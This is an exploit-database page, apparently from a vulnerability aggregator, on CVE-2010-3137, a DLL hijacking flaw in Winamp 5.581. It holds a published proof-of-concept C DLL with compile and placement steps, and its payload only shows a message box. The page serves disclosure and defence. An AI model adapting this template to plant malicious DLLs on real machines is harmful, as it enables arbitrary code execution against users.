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Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | Winamp < 5.59 Build 3033 Multiple Vulnerabilities | 27 Oct 201000:00 | – | nessus |
| Winamp < 5.59 build 3033 Multiple Vulnerabilities | 28 Oct 201000:00 | – | nessus |
 | CVE-2010-3137 | 25 Aug 201000:00 | – | circl |
 | CVE-2010-3137 | 26 Aug 201018:00 | – | cve |
 | CVE-2010-3137 | 26 Aug 201018:00 | – | cvelist |
 | EUVD-2010-3137 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-3137 | 26 Aug 201018:36 | – | nvd |
 | Winamp Insecure Library Loading Vulnerability | 8 Sep 201000:00 | – | openvas |
| Winamp Insecure Library Loading Vulnerability | 8 Sep 201000:00 | – | openvas |
 | Design/Logic Flaw | 26 Aug 201018:36 | – | prion |
10
<html><body><p>/*
Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit
Vendor: Nullsoft.
Product Web Page: http://www.winamp.com
Affected Version: 5.581 (x86)
Summary: Winamp is a media player for Windows-based PCs,
written by Nullsoft, now a subsidiary of AOL. It is
proprietary freeware/shareware, multi-format, extensible
with plug-ins and skins, and is noted for its graphical
sound visualization, playlist, and media library features.
Desc: Winamp 5.581 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local
level. The vulnerable extensions are .669, .aac, .aiff, .amf,
.au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll
libraries.
----
gcc -shared -o wnaspi32.dll winamp.c
Compile and rename to wnaspi32.dll, create a file test.cda and put both
files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}</windows.h></p></body></html>Data
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26 Aug 2010 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 29.3
EPSS0.04205